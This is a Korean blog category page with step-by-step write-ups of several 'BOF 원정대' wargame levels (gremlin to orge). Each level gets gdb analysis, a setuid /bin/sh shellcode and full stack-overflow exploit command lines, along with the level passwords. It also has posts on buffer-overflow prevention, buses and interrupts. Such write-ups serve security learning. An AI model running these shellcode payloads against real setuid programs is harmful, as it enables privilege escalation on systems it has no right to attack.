심심해서 하는 블로그 :: 'Computer Science' 카테고리의 글 목록 (4 Page)

1. 취약점


그 전의 문제와 똑같은데 중간에 argv[0]의 길이를 묻는 구문이 있다.

으잉??ㅋㅋ 파일 길이가 ./orge이면 6글자인데 77글자로 만들어라고요?? 파일 이름은 권한 문제로 바꾸지 못하니까 방법은.. 심볼릭 링크닷!! 심볼릭 링크는 쉽게 윈도우에서 바로가기와 똑같다. 


2. Exploit

1. bash2를 사용하고 orge.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다 

$ bash2

$ cp orge.c /tmp/orge.c && cd /tmp


2. gcc로 컴파일을 한다.  

$ gcc -g -o orge orge.c


3. 심볼릭 링크를 만들고 gdb로 디버깅을 시작한다.

$ ln -s ./orge 123456789012345678901234567890123456789012345678901234567890123

$ gdb -q /tmp//////////123456789012345678901234567890123456789012345678901234567890123



gdb에서 파일명으로 디버깅을 하면 자동으로 절대경로로 입력이 되는 것을 알 수 있다

/home/darkelf/는 14글자이므로 심볼릭 링크의 이름은 63자가 나오게끔 만든다.

그리고 gdb로 디버깅 할 때는 /tmp에서 하므로 길이를 맞춰주기위에 /tmp////////// 로 시작하여준다 


4. 어셈블리로 취약점이 있는 코드를 보자

(gdb) disas main



memset이후의 새로운 Return Address를 지정할 위치를 파악하기 위해 이 곳을 중담점으로 한다.


5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..

(gdb) b *main+313

(gdb) r `perl -e 'print "A"x 44, "\xbf"x4'` `perl -e 'print "\x90"x100, "B"x41'`

(gdb) x/150x $esp


Return Address는 0xbffffbac로 정했다



6. 쉘코드를 만들거나 웹에서 주어온다♥

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 


7. 괴.. 괴롭혀 주겠다...

(gdb) q

$ cd ~

$ ln -s ./orge 123456789012345678901234567890123456789012345678901234567890123

/home/darkelf/123456789012345678901234567890123456789012345678901234567890123 `perl -e 'print "A"x44, "\xac\xfb\xff\xbf"'` `perl -e 'print "\x90"x100, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`


8. 결과

   id : orge     passwd : timewalker

,

1. 취약점


그 전의 문제와 똑같은데 중간에 argv[1]의 길이를 묻는 구문이 있다.

길이가 48보다 크면 프로그램을 중지한다는 건데 buffer 40byte + sfp 4byte + new Return Address 4btye하면 딱 48byte니까 저번이랑 문제를 똑같이 풀어도 무관하다.


2. Exploit

1. bash2를 사용하고 darkelf.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다 

$ bash2

$ cp darkelf.c /tmp/darkelf.c && cd /tmp


2. gcc로 컴파일을 한다.  

$ gcc -g -o darkelf darkelf.c


3. gdb로 디버깅을 시작한다.

$ gdb -q ./wolfman


4. 어셈블리로 취약점이 있는 코드를 보자

(gdb) disas main



memset이후의 새로운 Return Address를 지정할 위치를 파악하기 위해 이 곳을 중담점으로 한다.


5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..

(gdb) b *main+275

(gdb) r `perl -e 'print "A"x 44, "\xbf"x4'` `perl -e 'print "B"x61'`

(gdb) x/150x $esp



Return Address는 0xbffffc38로 정했다



6. 쉘코드를 만들거나 웹에서 주어온다♥

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

memset의 결과로 buffer의 앞 쪽 40byte는 0으로 변경되었다. 하지만 그 후의 주소에 저장된 값은 그대로 유지되므로 영향력이 없다. 


7. 괴.. 괴롭혀 주겠다...

(gdb) q

$ cd ~

./darkelf `perl -e 'print "A"x44, "\x38\xfc\xff\xbf"'` `perl -e 'print "\x90"x20, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`



8. 결과

   id : darkelf     passwd : kernel crashed

,

1. 취약점

그 전의 문제와 똑같은데 마지막에 memset을 통해서 버퍼를 메모리를 초기화하는 과정이 있다.

buffer[0]~ buffer[39]까지 0으로 초기화 시킨다는 건데 내가 바꾸고자하는 영역인 Return Address는 건들지 않을 것으로 예상되므로 얘도 무시하고 넘어가보자.


2. Exploit

1. bash2를 사용하고 wolfman.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다 

$ bash2

$ cp wolfman.c /tmp/wolfman.c && cd /tmp


2. gcc로 컴파일을 한다.  

$ gcc -g -o wolfman wolfman.c


3. gdb로 디버깅을 시작한다.

$ gdb -q ./wolfman


4. 어셈블리로 취약점이 있는 코드를 보자

(gdb) disas main



memset이후의 내가 변경한 Return Address도 영향을 끼치는지 확인하기 위해 

memset부분을 중단점으로 한다.


5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..

(gdb) b *main+227

(gdb) r `perl -e 'print "A"x 44, "\xbf"x4'` `perl -e 'print "B"x61'`

(gdb) x/150x $esp


r `perl -e 'print "A"x 44, "/xbf"x4'` `perl -e 'print "B"x61'`

memset 이후의 결과를 볼려면 if문을 통과해야하므로 \xbf도 추가한다 memset의 영향이 끼치면 뒤의 \xbf도 0으로 채워 질 것이다.



역시 앞의 40개만 변경되고 뒤에 8바이트는 변경되지 않는걸 확인하였다 

평소처럼 공격하면 똑같은 결과를 안겨다 줄 것이다.



혹시나 싶어서 argv[1]부분도 점검해보니 클리어 되지 않았다. 

Return Address는 0xbffffc38로 정했닷



6. 쉘코드를 만들거나 웹에서 주어온다♥

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

memset의 결과로 buffer의 앞 쪽 40byte는 0으로 변경되었다. 하지만 그 후의 주소에 저장된 값은 그대로 유지되므로 영향력이 없다. 


7. 괴.. 괴롭혀 주겠다...

(gdb) q

$ cd ~

./wolfman `perl -e 'print "A"x44, "\x38\xfc\xff\xbf"'` `perl -e 'print "\x90"x20, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`



8. 결과

   id : wolfman     passwd : love eyuna

,

1. 취약점


버퍼의 크기는 40byte.. 

그리고 문제의 for문... level2와 level3을 환경변수로 해결한 풀이가 있던데 그 방법을 못쓰게 막아놨다.. 

고로 argv로 계속 문제를 풀어온 나에게는 신경 쓸 필요가 없는 for문! 그리고 조건문이 있는데 첫 번째 매개변수의 48번째 문자를 "\xbf"로 안하면 취약한 API strcpy()에 접근을 못하게 해놨다.


 Dummy(buffer + sfp)

argv[1][43]

 \xaa

argv[1][44]

 \xfa

argv[1][45]

\xff 

argv[1][46]

 \xbf

argv[1][47]

근데 잘 생각해보면 버퍼 오버플로우를 할려면 Return Address를 변경하면서 argv[1][47]은 \xbf가 된다..

그냥 평소처럼 풀면 될거 같다 


2. Exploit

1. bash2를 사용하고 orc.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다 

$ bash2

$ cp orc.c /tmp/orc.c && cd /tmp


2. gcc로 컴파일을 한다.  

$ gcc -g -o orc orc.c


3. gdb로 디버깅을 시작한다.

$ gdb -q ./orc


4. 어셈블리로 취약점이 있는 코드를 보자

(gdb) disas main



argv를 사용할거니까 초기단계를 관찰한다.


5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..

(gdb) b *main+3

(gdb) r `perl -e 'print "A"x 48'` `perl -e 'print "B"x61'`

(gdb) x/150x $esp



매번 똑같이 하는 말이지만 저 빨간구간중에 한구간을 새로운 Return Address로 삼을 것이다.


6. 쉘코드를 만들거나 웹에서 주어온다♥

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 



7. 괴.. 괴롭혀 주겠다...

(gdb) q

$ cd ~

./orc `perl -e 'print "A"x44, "\x48\xfc\xff\xbf"'` `perl -e 'print "\x90"x20, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`



8. 결과

   id : orc     passwd : cantata

,

1. 취약점


버퍼 오버플로우에 취약한 함수 gets() 사용

버퍼의 크기는 16byte,  Level 2와 달리 메인함수에 매개 변수로 입력받는 방식이 아닌 표준 입력으로 입력받는다는 차이점이 있다. 하지만 리다이렉션이라는 좋은 기능이 있으니까 그것을 잘 응용해보자.


2. Exploit

1. bash2를 사용하고 goblin.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다 

$ bash2

$ cp goblin.c /tmp/goblin.c && cd /tmp


2. gcc로 컴파일을 한다.  

$ gcc -g -o goblin goblin.c


3. gdb로 디버깅을 시작한다.

$ gdb -q ./goblin


4. 어셈블리로 취약점이 있는 코드를 보자

(gdb) disas main



Level2랑 동일하게 초기단계를 관찰해보자


5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..

(gdb) b *main+3

(gdb) r `perl -e 'print "B"x61'`

(gdb) x/100x $esp



r `perl -e 'print "B"x61'` 

궁금증이 생겼다.. 매개변수를 사용하지 않는 이 프로그램에 매개변수를 넣으면 어떻게 될까?

그래서 두 손 가득히 "B"를 담아 보내주었더니 메모리 공간 한 구석에 저 녀석이 생존하여 있다.

버퍼의 위치와 리턴주소의 위치를 확인하기 위해 프로그램을 계속 진행하였다


(gdb) n

(gdb) AAAAA

(gdb) x/40x $esp

 

버퍼가 16Byte + sfp가 4Byte 따라서 Return Address의 주소는 0xbffffae8


6. 쉘코드를 만들거나 웹에서 주어온다♥

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

지난 Level 2와 거의 유사하다. 표준입력을 할 때 손으로 일일히 타이핑하는 방식이 아닌 

리다이렉션을 적극 활용하면 된다. buffer를 20byte로 채우고  Return Address는 0xbffffc40로 선택


7. 괴.. 괴롭혀 주겠다...

(gdb) q

$ cd ~

$ (perl -e 'print "A"x20, "\x40\xfc\xff\xbf"'; cat) | ./goblin  `perl -e 'print "\x90"x20, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

리다이렉션은 입력를 보통 키보드로 입력을 받는데 그것을 대신하여 파일이나 명령어 수행 결과를 입력으로 하는 기능을 의미한다. 시스템 프로그래밍의 파이프라인의 대표적인 사례이다.



8. 결과

   id : goblin

   passwd : hackers proof


9. 다른 풀이 

gets()는 엔터키가 끝날 때까지 입력을 계속 받는다

따라서 디버깅 할 때 관찰하면 gets()문에서 A를 무진장 많이 넣어도 메모리에 고이 간직한다.

그 점을 이용해서 표준 입력 또는 리다이렉션으로  "A" x 20, "nop 구간의 임의의 주소", "\x90" x 20, 셀 코드를 순차적으로 입력해도 해결이 된다.  

,

1. 취약점


버퍼 오버플로우에 취약한 함수 strcpy() 사용

근데 버퍼의 크기가 16byte ㅠㅠ 쉘 코드가 41byte라서 Return Address까지 다 덮어버려서 

Level 1때의 단순한 방법으로는 접근하기 힘들다. 따라서 *argv[]를 적극 활용하여 쉘코드를 로드하자


2. Exploit

1. bash2를 사용하고 cobolt.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다 

$ bash2

$ cp cobolt.c /tmp/cobolt.c && cd /tmp


2. gcc로 컴파일을 한다. 이 때 이름은 동일하게 cobolt으로 해야지 메모리 주소가 동일하게 컴파일된다.

$ cd ./test

$ gcc -g -o cobolt cobolt.c


3. gdb로 디버깅을 시작한다.

$ gdb -q ./cobolt


4. 어셈블리로 취약점이 있는 코드를 보자

(gdb) disas main



argv를 활용할테니까 초기 상태에서 중단점을 설정하자


5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..

(gdb) b *main+3

(gdb) r `perl -e 'print "A"x20, "\x90"x4'` `perl -e 'print "B"x61'`

(gdb) x/120x $esp



r `perl -e 'print "A"x20, "\x90"x4'` `perl -e 'print "B"x61'` 로 수행하는 이유는 

우선 버퍼를 넘치게해서 Return Address까지 접근하는데 20(dummy) + 4(new Return Address)

그 후 쉘코드를 수행하는데 쉘코드가 41byte이므로 최소 42byte 이상이 존재해야 하므로 

20(nop) + 41(Shell code) 새로운 return 주소는 빨간 네모중 0xbffffc30으로 선정하였다

 


6. 쉘코드를 만들거나 웹에서 주어온다♥

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

버퍼에 용량치 이상의 값을 넣게되면 Return Address 또한 변경이 가능하다. 

이 때 buffer를 20byte로 채우고  Return Address는 0xbffffc30로 선택


7. 괴.. 괴롭혀 주겠다...

(gdb) q

$ cd ~

$ ./cobolt `perl -e 'print "A"x20, "\x30\xfc\xff\xbf"'` `perl -e 'print "\x90"x20, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`



8. 결과

   id : cobolt

   passwd : hacking exposed


,

1. 취약점


실행 파일의 권한이 SetUID로 설정

SetUID는 파일을 실행하는 동안에는 자신의 EUID(Effective UID)가 일시적으로 파일의 소유권자가 된다.

Bof 원정대 특징상 프로그램의 취약점을 파악하여 자신의 권한을 상승 시켜나가는 과정이니..

이런 권한을 가진 프로그램일수록 개발할 때 더욱 주의를 기울일 필요가 있다.



버퍼 오버플로우에 취약한 함수 strcpy() 사용

버퍼의 크기도 256바이트로 쉘코드를 입력하기에는 충분한 공간.. 역시 Level 1..

main함수에 매개변수를 받아드리서 화면에 입력한 내용을 보여주는 프로그램이다. strcpy()보다는 입력의 길이를 한정하는 strlcpy(), strncpy() 사용을 하면 버퍼오버플로우는 어느 정도 예방할 수 있다.


2. Exploit

1. bash2를 사용하고 gremlin.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다 

$ bash2

$ cp gremlin.c /tmp/gremlin.c && cd /tmp


2. gcc로 컴파일을 한다. 이 때 이름은 동일하게 gremlin으로 해야지 메모리 주소가 동일하게 컴파일된다.

$ cd ./test

$ gcc -g -o gremlin gremlin.c


3. gdb로 디버깅을 시작한다.

$ gdb -q ./gremlin


4. 어셈블리로 취약점이 있는 코드를 보자

(gdb) disas main



main+54 에서 strcpy가 수행되고 있다. 우리는 버퍼의 크기가 궁금하니까 59번을 중지점으로 한다.


5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..

(gdb) b *main+59

(gdb) r `perl -e 'print "A"x256'`

(gdb) x/30x $esp



A의 ASCII코드가 41이므로  buffer의 시작 주소 : 0xbffff978 


6. 쉘코드를 만들거나 웹에서 주어온다♥

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 이 코드의 크기는 41byte이다. (만드는 과정은 시간이 남으면 연재)

버퍼에 용량치 이상의 값을 넣게되면 Return Address 또한 변경이 가능하다. 

이 때 nop + shell code + nop 를 260byte로 채우고  Return Address는 첫 번째 nop 구간에 범위내의 아무 주소로 변경한다. (0xbffff980으로 선정)

nop(\x90)는 아무런 연산을 하지 않고 넘어가는 코드으므로 프로그램 수행에 영향을 주지 않는다. 


7. 괴.. 괴롭혀 주겠다...

(gdb) q

$ cd ~

$ ./gremlin `perl -e 'print "\x90" x 200, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80", "\x90" x 19, "\x80\xf9\xff\xbf"'`



8. 결과

   id : gremlin

   passwd : hello bof world


,

1. Buffer Overflow

가장 기본이 되는 예제로 보면 변수 c는 char형 8개를 담을 수 있는 공간이다. 이 곳에 8개 이하의 데이터를 보관하는 것은 문제가 되지 않는다. 근데 9개의 데이터를 넣는 순간 c의 영역을 넘어 다른 공간까지 데이터가 저장되는 것을 알 수 있다. 이처럼 버퍼 오버플로우는 입력의 한계를 충분히 확인하지 않은 API 사용으로 버퍼에 근접한 메모리 주소에 있는 데이터 값을 변경할 때 발생한다. 대표적인 API로는 scanf(), gets(), strcat(), strcpy() 등이 있다. 최근에 나온 컴파일러는 취약한 API에 대하여 사용을 제한하거나 경고하고 있다.


2. 공격 방법(Stack overflow)


메모리에서 스택은 고드름처럼 위에서 성장하는 하며 함수가 호출되면 매게변수 - 리턴 주소 - 지역 순으로 스택에 쌓인다. 반면에 버퍼는 거꾸로 위로 타고 올라가면서 성장한다. 따라서 일정 수준 이상을 입력하게 되면 리턴 주소가 변경된다. 이 특성을 이용하여 공격자는 메모리상에 악성 코드를 주소 A에 두고 리턴 주소를 버퍼 오버플로우를 활용하여 A로 변경하여 원하는 프로그램을 수행시킨다. 이러한 악성코드는 시스템 콜로 구성되어 있다.


3. 예방법

범위를 확인하지 않는 API 사용은 하지 않는다.

대표적인 strcat(), strcpy(), scanf()는 입력의 범위를 확인하지 않고 입력시키는 특징 때문에 버퍼 오버플로우에 취약한 모습을 보여준다. strlcat(), strlcpy(), scanf_s() 등으로 대체하여 사용하는 것이 중요하다.


최신의 운영체제를 사용한다.

운영체제가 발전함에 따라 스택 가드, 스택 쉴드, Non-Executable 스택 등 다양한 방어 장치를 이용해 공격자의 공격을 막는다. 또한 컴파일러도 발전함에 따라 범위 밖의 입력에 대하여는 예외로 처리하여 주며 불완전한 API 사용에 대하여 경고나 금지를 하는 등 최신의 컴파일러를 사용하는 것도 좋은 방법이다. 

,

1. Bus

앞서 CPU와 메모리, I/O 장치 3가지의 요소에 대해 정리해보았다. 이제 이들의 "연결고리" BUS에 대하여 알아보자. 버스는 크게 데이터 버스, 주소 버스, 제어 버스로 나누어진다. 

 

데이터 버스

데이터 버스는 시스템 모듈들 간의 데이터 이동 경로를 제공한다. 주로 32, 64, 128 또는 그 이상의 분리된 선들로 구성되어 있으며 선의 수는 한 번에 전송할수 있는 비트 수를 결정지어 주는데 이것은 CPU가 수용할 수 있는 데이터의 크기, Word와 밀접한 관계가 있다.


주소 버스

주소 버스는 데이터의 근원지나 목적지의 일정한 메모리 주소를 전달하는 버스이다. 

주소 버스의 폭은 최대 기억장치의 용량을 결정지어 주는데 32개의 주소 버스를 지닌 컴퓨터 시스템은 2^32개의 메모리 위치를 할당할 수 있다. 또한 I/O포트를 지정하기 위해서도 사용되어진다.


제어 버스

제어 버스는 데이터 버스와 주소 버스를 제어하기위해 사용되어 진다. 데이터 버스와 주소 버스는 공유하는 선들의 집합이므로 이들을 제어하는 수단이 반드시 필요하기 때문에 사용한다. 


2. 동기식 버스 vs 비동기식 버스

동기식 버스

동기식 버스는 정해진 시간에 데이터를 전송하는 방법이다. 이 때 시간은 버스가 가지고 있는 Clock을 기준으로 하며 빠르고 인터페이스 논리회로가 간단하다는 장점이 있지만 느린 장비도 이 Clock에 맞춰야 한다는 점에서 시간 낭비가 발생할 수 있다. 


비동기식 버스

비동기식 버스는 동기식 버스와 달리 시간을 따로 정하지 않는다. 단지 서로 데이터를 주고 받을 준비가 되어있는지 확인하는 핸드쉐이킹 프로토콜을 사용하여 수신측에서 준비가 되었으면 바로 전송을 하는 방식이다.

장점은 따로 정해진 시간이 없기 때문에 시간 낭비가 적다는 점이고 단점은 회로 구성이 복잡하고 핸드쉐이킹하는 과정이 필요해서 속도도 동기식에 비해 느리다.


3. PCIe

버스의 특징이 공용 선이라는 것인데 이 특징덕분에 한 쪽이 데이터 선을 점령하면 다른 쪽에서는 신호 중첩을 유발 시킬수 있어서 사용을 하면 안된다. 이 점을 보완하기 위해 점대점 상호연결방식이 등장하였다.


QPI(Quick Path Interconnect)

다른 구성요소와 직접연결하는 점대점 상호방식중 하나로 레이어로 구성된 프로토콜 구조이므로 물리적으로 연결되어 있는 부분부터 오류의 존재 여부를 점검하는 등 각각의 레이어에서 하는 일을 구분되어 있다. 고속, 고효율의 패킷 기반의 전송방식을 사용하며 인텔의 i7 데스크톱 프로세서 이후로 사용되어지는 방식이다.


PCIe(Peripheral Component Interconnect Express)

버스를 1대 1로 연결해서 택시로 만들어 버렸다. 높은 용량덕분에 기가이더넷과 같은 빠른 데이터 속도의 I/O 디바이스를 지원하는데 사용되어지며 각각의 버스마다  독립적인 데이터 흐름을 제공하여 많이 사용되어진다. 또한 핀수가 적고 물리적 면적이 작으며 상세한 오류검출 및 보고구조 등의 장점을 가지고 있다.

최근엔 I/O 가상화도 지원한다.


 

,

1. Interrupt

집에서 열심히 라면을 끓이고 있다. (가난한 학생이니까 ㅠㅠ) 라면 물을 끓이고 스프를 넣고 면을 넣고 이제 대망의 계란을 넣을려고 냉장고로 갈려는 순간 갑자기 물이 끓어 넘칠려고 한다. 여러분의 아래의 두 개의 선택지 중에 어떤 것을 선택하겠습니까?


1. 나는 나의 길을 간다. 계란 꺼내고 불을 낮추러 간다.

2. 엄마한테 뒤지게 혼나기 싫다. 불부터 낮춘다. 


대다수의 사람들은 2번을 선택하였을 것이다. 엄마한테 뒤지게 혼나는건 둘째치고 잘못되서 화재라도 나면 살기 위해서 라면 하나 먹다가 인생 하직할순 있으니까..ㅜㅜ 



인터럽트의 개념은 방금 제시한 상황과 비슷하다. CPU가 열심히 프로그램을 수행하는 과정에서

예외나 I/O 장치등 우선순위가 높은 사건이 발생하면 하던 걸 잠시 멈추고 접수받은 내용을 처리하는 과정을 인터럽트라고 한다. 이 때 예외라고 한다면 오버플로우, 0으로 나누기 등등이며 I/O 장치는 하드 디스크, 키보드, 마우스 등등을 의미한다. 컴퓨터 구조 과목에서는 I/O 장치에 대하여 더욱 중점을 둔다.


2. I/O 장치

하드디스크와 같은 I/O 장치들은  프로세서와 직접 데이터를 교환할 수 있고 프로세서는 I/O 모듈에 대하여 쓰기 또는 읽기를 할 수 있다. 프로세서는 I/O들을 구별하기 위해 주소를 사용한다. 

인터럽트가 발생하게 되면 I/O 장비의 상태를 점검하고 준비가 되면 전송하게끔 하는데 인터럽트를 신속 정확하게 처리하고 멈춘 프로그램을 다시 수행해야 하는 CPU에게는 기나긴 시간 낭비이다. 따라서 CPU는 이러한 과정을 I/O 장치에게 시킨다. "그냥 니가 점검해"


I/O 장치가 또 CPU에게 부담을 주는 것은 I/O 장치의 많은 데이터이다.

이 데이터들이 직접 CPU를 거치게 된다면 I/O 인터럽트가 많이 발생해서 CPU는 다른 일은 할 수가 없다.

따라서 CPU의 효율적인 운영을 위해서 DMA(직접 메모리 접근) 기법을 사용한다. 이 방법에서는 I/O장치들이 메인 메모리에 직접 접근하여 입출력을 할 때 CPU에게 시작 인터럽트, 데이터를 Block단위로 쓰고 읽으며 작업이 끝난 후에 CPU에게 종료를 알리는 인터럽트만 보내주면서 CPU의 부담을 확 줄였다.

더나아가 입출력 과정에서 CPU의 부담을 최소로 하면서 병렬적으로 입출력과 연산과정이 동시에 진행할 방법이 필요해지면서 입출력 프로세서(I/O Processor)가 등장하였다. 




,